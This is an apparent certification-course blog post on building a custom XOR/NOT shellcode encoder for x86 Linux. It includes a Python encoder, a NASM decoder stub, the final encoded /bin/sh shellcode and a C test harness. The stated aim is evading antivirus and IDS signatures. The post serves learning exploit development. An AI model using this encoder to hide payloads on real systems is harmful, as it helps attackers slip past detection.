linux/x86 – Custom Encoder

Hi All!  After a long gap due to health issues , i started working on assignments of SLAE course by securitytube (https://www.pentesteracademy.com/course?id=3).  I jumped onto Assignment 4 directly as i felt this can be fun and can be taken up initially with what we have learnt from the course videos. main objective of this assignment is ,

creation of custom encoder which helps us to evade known signatures by antivirus/IDS system.

my custom encoder uses this simple algorithm.

                         1 . Perform NOT operation on individual shellcode byte. 

                         2. Increment each shellcode byte by 2 in hex.

                         3.  perform XOR operation on each shellcode byte with 0x21

                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.

This can be accomplished by using a simple python script . (custom_encoder.py). we will use an existing execve shellcode to spawn a shell.

#!/usr/bin/python

# Python custom Encoder

shellcode = (“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80”)

encoded = “”
encoded2 = “”

print ‘Encoded shellcode …’

for x in bytearray(shellcode) :

  #NOT Encoding
  x2 = ~x

  #increment by 2
  x2 = x2 + 0x02

 # XOR Encoding
  xord = x2^0x21

  #NOT operation
  final = ~xord

  encoded += ‘\\x’
  encoded += ‘%02x’ % (final & 0xff)

  encoded2 += ‘0x’
  encoded2 += ‘%02x,’ % (final & 0xff)

print encoded

print encoded2

print ‘Len: %d’ % len(bytearray(shellcode))

now we can generate the encoded shellcode as follows :

slae@ubuntu:~$ ./custom_encoder.py

Encoded shellcode …
\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f

0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,
Len: 25

now we need to build a decoder which performs exact same operation as encoder in reverse order.

that is,

custom decoder algorithm,

                         1 . Perform NOT operation on individual shellcode byte. 

                         2. perform XOR operation on each shellcode byte with 0x21

                         3.  Decrement each shellcode byte by 2 in hex.

                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.

once the decoding is done for each shellcode byte, we can finally jump to the final shellcode. And also we leverage Jump-Call-Pop technique to implement this decoder. Here we have the final decoder ( custom_decoder.nasm)

 

global _start

section .text
_start:

jmp short call_decoder
decoder:
pop esi

decode:
cmp byte [esi], 0x21
jz Shellcode

;in reverse of encoding NOT > XOR > decrementx2 > NOT
not byte [esi]

xor byte [esi],0x21

dec byte [esi]
dec byte [esi]

not byte [esi]

inc esi
jmp short decode

call_decoder:
call decoder
Shellcode: db                             0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,0x21

In this decoder , we first compare our shellcode with exit marker ( 0x21) if all bytes of shellcode are decoded we directly jump to the shellcode. If not , we decode each byte of shellcode. Now finally we can compile and get the shellcode as follows.

./compile.sh custom_decoder

objdump -d ./custom_decoder | grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

final shellcode : 

“\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21”

 

we can now place this shellcode in our template c program,

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
“\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21”;

main()
{

printf(“Shellcode Length: %d\n”, strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

We compile and execute this program to get the expected shell.

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

slae@ubuntu:~/$ ./shellcode
Shellcode Length: 53

link to github repo for the code :

https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

 

SLAE student ID :  SLAE – 1367